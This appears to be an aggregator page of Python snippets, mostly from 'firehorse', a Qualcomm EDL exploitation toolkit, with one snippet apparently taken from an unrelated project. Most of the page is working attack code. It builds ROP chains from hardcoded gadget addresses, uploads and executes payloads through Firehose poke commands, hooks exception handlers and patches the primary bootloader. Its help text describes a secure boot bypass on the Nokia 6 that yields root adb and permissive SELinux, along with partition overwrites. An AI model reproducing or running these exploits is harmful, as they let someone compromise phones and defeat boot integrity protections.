Esempio n. 1
0
def upload_fh_data():
    target = t.get()

    bbdb = BasicBlocks(target.basicblocks_db_pbl)
    bpm = BreakpointManager(bbdb)
    bpm.bp_programmer(0x1402C958, msg="peek0")
    bpm.bp_programmer(0x1402C964, msg="peek1")

    pm = PatchManager()
    # I('applying patches and breakpoints...')
    # pm.patch32_programmer(0x1402C958, 0xFFFFFFFF)

    I('creating pagecopy...')
    pages = set()

    I('pages: ' + str(pages))
    pc = PageCopy(MODE_PBL,
                  target.pbl_base_addr,
                  target.pbl_copy_addr,
                  pages,
                  target_pages=[
                      0x807D000, 0x807E000, 0x807F000, 0x807C000, 0x8068000,
                      0x806e000, 0x807B000
                  ])

    I('uploading firehorse data...')
    fh = Firehorse(pm, bpm, pc)
    fhdata = fh.pack()
    fhbin = file("../tmp/fh.bin", "wb")
    fhbin.write(fhdata)
    fhbin.close()

    e = XMLHunter(fhdata, target.fh_base_programmer + target.fh_scratch_offset,
                  target)
    e.send()
Esempio n. 2
0
def upload_fh():
    target = t.get()
    FH_FW.sendfile("../device/build/fh64.payload", target.fh_base_programmer)
    # e = XMLHunter(file("../device/build/fh64.payload","rb").read(),
    #               target.fh_base_programmer, target)
    # e.send()
    return
Esempio n. 3
0
    def firehosep(path):
        target_out = []
        search = "/".join(path.split("/")[:-1])
        filename = path.split("/")[-1]
        p = subprocess.Popen([
            FH_LOADER, r"--search_path=" + search,
            r"--port=\\.\%s" % target.get().com,
            "--sendxml=%s" % filename
        ],
                             stdout=subprocess.PIPE,
                             stdin=subprocess.PIPE)
        out = p.communicate("\n")

        if "There is a chance your target is in SAHARA mode!!" in out[0]:
            p.kill()
            raise FirehorseSendProgrammerException()

        for l in out[0].split("\r\n"):
            T("FIREHOSE: %s", l)
            if None == l:
                continue
            if "ERROR: Failed to open com port" in l:
                raise FirehorseDeviceNotConnectedException()
            m = re.search(r".*TARGET SAID:\s*'(.*)'.*", l)
            if m:
                target_out.append(m.group(1))
        return target_out
Esempio n. 4
0
    def senddata(blob, addr, offset=0, size=-1):
        blob = blob[offset:]

        if size != -1:
            blob = blob[:size]

        blob += b"\x00" * (8 - len(blob) % 8)
        i = 0
        while i < len(blob):
            I("%08x" % (addr + i))
            xml = "<?xml version=\"1.0\" ?>\n<data>"

            for j in xrange(497):
                if target.get().peekpoke_style == 0:
                    xml += "<poke address64=\"0x%08x\" SizeInBytes=\"0x8\" value=\"0x%08x\"/>\n"\
                            % (addr+i, struct.unpack("<Q", blob[i:i+8])[0])
                else:
                    xml += "<poke address64=\"0x%08x\" size_in_bytes=\"0x8\" value64=\"0x%08x\"/>\n"\
                            % (addr+i, struct.unpack("<Q", blob[i:i+8])[0])
                i += 8
                if i >= len(blob):
                    break

            xml += "</data>"
            Framework.firehose(xml)
Esempio n. 5
0
    def __init__(self):
        self.cmds = {}

        t = target.get()

        if t.arch == 32:
            data = file(constants.CMD_PATH32, "rb").read()
        else:
            data = file(constants.CMD_PATH64, "rb").read()

        i = 0
        found_export = False
        for line in data.split("\n"):
            if "exports:" in line:
                found_export = True
                continue
            if found_export is False:
                continue

            cmdmatch = re.match(r"B\s+.*?// CMD_([a-zA-Z0-9_]+)", line)

            if not cmdmatch:
                # i += 1
                continue

            # print (cmdmatch.group(1), i)
            self.cmds[cmdmatch.group(1)] = i
            i += 1
Esempio n. 6
0
def hook_handlers():
    target = t.get()

    I("Hooking handlers")
    for i in xrange(16):
        I("%d" % i)
        FH_FW.sendfile("../device/build/dbgentry64.payload",
                       0xf803f000 + i * 0x80)
Esempio n. 7
0
def magic():
    target = t.get()
    cmd = Commands()

    bbdb = BasicBlocks(target.basicblocks_db_pbl)

    bpm = BreakpointManager(bbdb)

    pm = PatchManager()

    I('applying patches and breakpoints...')
    apply_patches(pm, target)
    apply_breakpoints(bpm)

    I('creating pagecopy...')
    pages = set()
    pages.update(pm.get_pbl_page_numbers())
    pages.update(bpm.get_pbl_page_numbers())

    I('pages: ' + str(pages))

    pc = PageCopy(MODE_PBL,
                  target.pbl_base_addr,
                  target.pbl_copy_addr,
                  pages,
                  target_pages=[
                      0x807D000, 0x807E000, 0x807F000, 0x807C000, 0x8068000,
                      0x806e000, 0x807B000
                  ])

    I('uploading firehorse data...')
    fh = Firehorse(pm, bpm, pc)
    fhdata = fh.pack()
    fhbin = file("../tmp/fh.bin", "wb")
    fhbin.write(fhdata)
    fhbin.close()

    e = XMLHunter(fhdata, target.fh_base_programmer + target.fh_scratch_offset,
                  target)
    e.send()

    I('uploading firehorse..')

    e = XMLHunter(
        file("../device/build/fh.payload", "rb").read(),
        target.fh_base_programmer, target)
    e.send()

    I('initializing firehorse...')
    FH_FW.exe_cmd(target.fh_base_programmer, cmd.INIT)

    I('calling pbl patcher...')
    FH_FW.exe_cmd(target.fh_base_programmer, cmd.PBL_PATCHER)
Esempio n. 8
0
def magic():
    cmd = Commands()
    target = t.get()

    # overwrite logdump partition with our modified ramdisk
    Framework.write_partition("logdump",
                              "target/nokia6/nokia6-ramdisk-modified.cpio.gz")

    bbdb = BasicBlocks(target.basicblocks_db_pbl)
    bpm = BreakpointManager(bbdb)
    pm = PatchManager()

    I("applying patches and breakpoints...")
    apply_patches(pm, target)
    apply_breakpoints(bpm)

    I("creating pagecopy...")
    pages = set()
    pages.update(pm.get_pbl_page_numbers())
    pages.update(bpm.get_pbl_page_numbers())
    I("pages: " + str(pages))
    pc = PageCopy(MODE_PBL, target.pbl_base_addr, target.pbl_copy_addr, pages)

    I("uploading firehorse data...")
    fh = Firehorse(pm, bpm, pc)
    fhdata = fh.pack()
    fhbin = file("../tmp/fh.bin", "wb")
    fhbin.write(fhdata)
    fhbin.close()
    egg_hunter = Egg(fhdata,
                     target.fh_base_programmer + target.fh_scratch_offset)
    egg_hunter.send()

    I("uploading firehorse...")
    egg_hunter = Egg(
        file("../device/build/fh.payload", "rb").read(),
        target.fh_base_programmer)
    egg_hunter.send()

    I("initializing firehorse...")
    FH_FW.exe_cmd(target.fh_base_programmer, cmd.INIT)

    I("calling pbl patcher...")
    FH_FW.exe_cmd(target.fh_base_programmer, cmd.PBL_PATCHER)

    if "wait" in " ".join(sys.argv):
        I("waiting for LF")
        raw_input()
        I("you have 5 seconds")
        time.sleep(5)

    Framework.exe(target.pbl_base_addr)
Esempio n. 9
0
    def read_partition(name):
        program = Framework.read_program_for_partition(name)
        if None == program:
            raise FirehorseCannotFindProgramException()

        filename = "%s-%s-read.bin" % (target.get().name, name)
        program.attributes["filename"] = filename
        program.tagName = "read"

        D("read program = %s", program.toxml())
        I("Downloading partition %s to %s...", name, filename)

        f = file(filename, "wb")
        f.close()

        xml = "<?xml version=\"1.0\" ?>\n"
        xml += "<data>\n"
        if target.get().ufs:
            xml += "<configure MemoryName=\"ufs\" />"
        xml += program.toxml() + "\n"
        xml += "</data>\n"
        Framework.firehose(xml)
Esempio n. 10
0
    def send_programmer():
        t = target.get()
        out = subprocess.Popen([
            SAHARA_SERVER, "-p",
            r"\\.\%s" % t.com, "-s",
            "13:%s" % t.programmer_name, "-b",
            "%s\\" % t.programmer_search_path
        ],
                               stdin=subprocess.PIPE,
                               stdout=subprocess.PIPE).communicate("\n")
        if not "transferred successfully" in out[0]:
            if "Could not connect" in out[0]:
                raise FirehorseDeviceNotConnectedException()

            raise FirehorseSendProgrammerException()
Esempio n. 11
0
def boom():
    target = t.get()
    FH_FW.peek(target.fh_base_programmer, 0x1100)
    I('1')
    FH_FW.peek(target.fh_base_programmer, 0x1100)
    I('2')
    FH_FW.peek(target.fh_base_programmer, 0x1100)
    I('3')
    FH_FW.peek(target.fh_base_programmer, 0x1100)
    I('4')
    #FH_FW.sendfile("../device/build/test64.payload", 0xf8048c00)
    I('5')
    #FH_FW.poke64(0xfec04098,0xf8048c00)
    I('boom')
    return
Esempio n. 12
0
def rop():
    target = t.get()

    # super gadget
    #    FH_FW.poke64(target.saved_lr_addr+8, GADGET_INFINITE_LOOP)
    """
    # copy original stack
    FH_FW.copy(target.saved_lr_addr+0x128, target.saved_lr_addr+8, 0x128)

    # copy original saved lr
    FH_FW.poke64(target.saved_lr_addr+0x120, target.saved_lr)

    # set new stack
    FH_FW.poke64(target.saved_lr_addr+0x20, target.saved_lr_addr+0x118)

    # set blr x8 gadget
    FH_FW.poke64(target.saved_lr_addr+0x8, GADGET_RESET)

    # set saved_x8
    FH_FW.poke64(target.saved_lr_addr+0xb8, GADGET_RESET)
    # set super gadget
    FH_FW.poke64(target.saved_lr_addr, GADGET_SUPER)
    """
    # FH_FW.poke64(target.saved_lr_addr+0xC0, 0)
    # FH_FW.poke64(target.saved_lr_addr+0x30, GADGET_RESET)
    # FH_FW.poke64(target.saved_lr_addr+0x28, GADGET_RESET)
    # FH_FW.poke64(target.saved_lr_addr+0x20, GADGET_RESET)
    # FH_FW.poke64(target.saved_lr_addr+0x18, GADGET_RESET)
    # FH_FW.poke64(target.saved_lr_addr+0x10, GADGET_RESET)
    # FH_FW.poke64(target.saved_lr_addr+0x8, GADGET_RESET)

    FH_FW.poke64(target.saved_lr_addr + 0x1f0, 0x0)  # x1
    FH_FW.poke64(target.saved_lr_addr + 0x108, 0x98)  # x28
    FH_FW.poke64(target.saved_lr_addr + 0x128, 0x1)  # x24
    FH_FW.poke64(target.saved_lr_addr + 0x130, 0x1000)  # X25
    FH_FW.poke64(target.saved_lr_addr + 0x160,
                 target.saved_lr_addr + 0x218 + 0x28)
    FH_FW.poke64(target.saved_lr_addr + 0x200,
                 target.saved_lr_addr + 0x218 + 0x28)

    FH_FW.copy_and_rebase(target.saved_lr_addr + 0x218,
                          target.saved_lr_addr + 8, 0x210)
    FH_FW.poke64(target.saved_lr_addr + 0x210, target.saved_lr)
    FH_FW.poke64(target.saved_lr_addr + 0x110, target.saved_lr_addr + 0x208)
    FH_FW.poke64(target.saved_lr_addr + 0x1a8, GADGET_SCTLR_EL1)
    FH_FW.poke64(target.saved_lr_addr + 0xf8, GADGET_BLR_X8)
    FH_FW.poke64(target.saved_lr_addr + 0xf0, GADGET_SUPER)
    FH_FW.poke64(target.saved_lr_addr, GADGET_ADD_SP)
Esempio n. 13
0
    def hexdump(src, length=16, base=0):
        format = "%08x  %-*s  %s\n"
        if target.get().arch == 64:
            format = "%016lx  %-*s  %s\n"

        FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.'
                          for x in range(256)])
        lines = []
        for c in xrange(0, len(src), length):
            chars = src[c:c + length]
            hex = ' '.join(["%02x" % ord(x) for x in chars])
            printable = ''.join([
                "%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.')
                for x in chars
            ])
            lines.append(format % (c + base, length * 3, hex, printable))
        return ''.join(lines)
Esempio n. 14
0
def rop():
    target = t.get()

    # copy original stack
    FH_FW.copy(0xFEC040a0, 0xFEC03F90, 0x256)
    FH_FW.copy(0xFEC04098, 0xFEC03F88, 8)

    # gadget_set_sctlr_el3
    FH_FW.poke64(0xFEC04060, 0xF803DF38)

    # saved x1 = 0
    FH_FW.poke64(0xFEC04f88, 0)

    # gadget_blr_x4
    FH_FW.poke64(0xFEC03f90, 0xf800e280)

    # super gadget F803E848
    FH_FW.poke64(target.saved_lr_addr, 0xF803E848)
Esempio n. 15
0
    def write_partition(name, srcpath):
        program = Framework.read_program_for_partition(name)
        if None == program:
            raise FirehorseCannotFindProgramException()

        from shutil import copyfile
        import os

        srcname = os.path.basename(srcpath)
        dstpath = os.path.join("../tmp", srcname)
        copyfile(srcpath, dstpath)
        program.attributes["filename"] = srcname

        D("write program = %s", program.toxml())
        I("Overwriting partition %s with %s...", name, dstpath)

        xml = "<?xml version=\"1.0\" ?>\n"
        xml += "<data>\n"
        if target.get().ufs:
            xml += "<configure MemoryName=\"ufs\" />"

        xml += program.toxml() + "\n"
        xml += "</data>\n"
        Framework.firehose(xml)
Esempio n. 16
0
def voodoo():
    target = t.get()
    for i in xrange(8):
        print '%d' % i
        FH_FW.peek(target.fh_base_programmer, 0x4000)
Esempio n. 17
0
def upload_init64():
    target = t.get()
    FH_FW.sendfile("../device/build/init64.payload", target.fh_base_programmer)
    FH_FW.exe64(target.fh_base_programmer)
Esempio n. 18
0
 def exe(va):
     Framework.poke(target.get().exe_addr, 4, va)
Esempio n. 19
0
 def exe_cmd(base, cmd):
     D('Executing %08x', base + 0x20 + cmd * 4)
     Framework.poke(target.get().exe_addr, 4, base + 0x20 + cmd * 4)
Esempio n. 20
0
def init_firehose():
    target = t.get()
    cmd = Commands()

    I('initializing firehorse...')
    FH_FW.exe64_cmd(target.fh_base_programmer, cmd.INIT)
Esempio n. 21
0
 def exe64(va):
     D("Executing %08x", va)
     Framework.poke64(target.get().exe_addr, va)
Esempio n. 22
0
def main():

    adjustLevels()

    parser = argparse.ArgumentParser(\
        prog="firehorse",
        usage="python firehorse.py -t TARGET_NAME [options] cmd [cmd_args]",
        formatter_class=argparse.RawTextHelpFormatter,
        epilog=textwrap.dedent('''\
                                target commands:
                                    magic                           causes the magic function in the target_TargetName.py file to be called -
                                                                    on nokia6 this will activate the secure boot exploit and the device will 
                                                                    boot with root adb access and SELinux in permissive mode
                                    rop                             executes a rop payload (different for every device)
                                    uart                            dumps uart buffer
                                    dump_pt                         dumps the programmer page table
                                    dump_pt32 [skip]                dumps the programmer page table (32 bit table format), if 'skip' is passed,
                                                                    skipps the first 'skip' entries in fisrt level PT
                                    dump_pt64                       dumps the programmer page table (64 bit table format)
                                    extract_pbl                     dumps the device pbl (to a file in the cwd)
                                    extract_modem_pbl               dumps the device modem_pbl (to a file in the cwd)
                                    extract_rpm_pbl                 dumps the device rpm_pbl (to a file in the cwd)
                                    read_partition name             dumps the partition specified by name (to a file in the cwd)
                                    write_partition name srcpath    overwrites the partition specified by name with the file specified by srcpath

                                fw commands:
                                    hello                           send programmer to device
                                    firehosep xml_path              send the xml specified in xml_path to the programmer
                                    upload file_path addr           upload the binary file specified by file path to the address addr in 32 bit chunks
                                    upload64 file_path addr         upload the binary file specified by file path to the address addr in 64 bit chunks
                                    sendfile file_path addr         upload the binary file specified by file path to the address addr (faster then upload)
                                    exec addr                       executes the code located at address addr - for 32 bit code
                                    exec64 addr                     executes the code located at address addr - for 64 bit code
                                    run file_path addr              uploads the file located at file_path to address addr and executes it - for normal arm code
                                    runt file_path addr             uploads the file located at file_path to address addr and executes it - for thumb code
                                    peek addr size [output_file]    reads size bytes from address addr and prints them to screen,if output_file is passed
                                                                    the output is written to file
                                    copy dst src size               copies size bytes from address src to address dst
                                    poke addr val                   writes 4 bytes of data specified by the hex value val at address addr
                                    
                                    
                                Usage examples:
                                    python firehorse.py -s -c COM17 -t nokia6 target magic
                                    python firehorse.py -c COM17 -t nokia6 fw hello
                                    python firehorse.py -c COM17 -t nokia6 fw peek 0x100000 0x10
                                '''))
    parser.add_argument('-c',
                        '--com',
                        dest='com',
                        help='Specify COM port',
                        default=constants.COM)
    parser.add_argument(
        '-t',
        '--target',
        dest='target_name',
        help=
        'Specify target, can be one of the following: nokia6 | angler | ugglite | mido | cheeseburger',
        required=True)
    parser.add_argument(
        '-s',
        '--hello',
        dest='hello',
        action='store_true',
        help=
        'send programmer to device - REQUIRED on the first time you use this tool after the device booted into EDL',
        default=False)
    parser.add_argument('-v',
                        '--verbose',
                        action='store_true',
                        dest='verbose',
                        help='Enable verbose logging')
    parser.add_argument('-vv',
                        '--moreverbose',
                        action='store_true',
                        dest='moreverbose',
                        help='Even more logging')
    parser.add_argument('cmd',
                        nargs='*',
                        help='Conduct command: fw ... | target ...')

    args = parser.parse_args()

    if args.verbose:
        lg.setVerbose()

    if args.moreverbose:
        lg.setVerbose(True)

    if not os.path.exists("../tmp"):
        os.mkdir("../tmp")
    try:
        target.set_target(args.target_name, args.com)
    except KeyError:
        E("unknown target")
        sys.exit(1)

    if args.hello:
        i = 0
        I('sending programmer...')
        while True:
            try:
                i += 1
                Framework.send_programmer()
                break
            except FirehorseDeviceNotConnectedException:
                time.sleep(1)
                if (i % 10) == 0:
                    I("device not connected, waiting.")
        time.sleep(1)

    name = args.cmd[0]
    args = args.cmd[1:]

    cmds = {'target': target.get().do_cmd, 'fw': fw.do_cmd}
    cmds[name](args)
Esempio n. 23
0
def rop():
    rop_exec(GADGET_LEAK_PT, t.get().fh_base_programmer)
Esempio n. 24
0
 def exe64_cmd(base, cmd):
     D('Executing %016lx', base + 0x30 + cmd * 8)
     Framework.poke64(target.get().exe_addr, base + 0x30 + cmd * 8)
Esempio n. 25
0
def get_target(_target, verbose, test):
    # call from bypass_wildcard(target, wcode)
    return target.get(_target, verbose, test)
Esempio n. 26
0
 def get_xmlhunter_xml():
     if not Framework.xmlhunter_xml:
         Framework.xmlhunter_xml = file(target.get().xmlhunter_xml).read()
     return Framework.xmlhunter_xml
Esempio n. 27
0
 def get_rawprogram_xml_path():
     if not Framework.rawprogram_xml_path:
         Framework.rawprogram_xml_path = target.get().rawprogram_xml
     return Framework.rawprogram_xml_path
Esempio n. 28
0
 def get_poke_xml():
     if not Framework.poke_xml:
         Framework.poke_xml = file(target.get().poke_xml).read()
     return Framework.poke_xml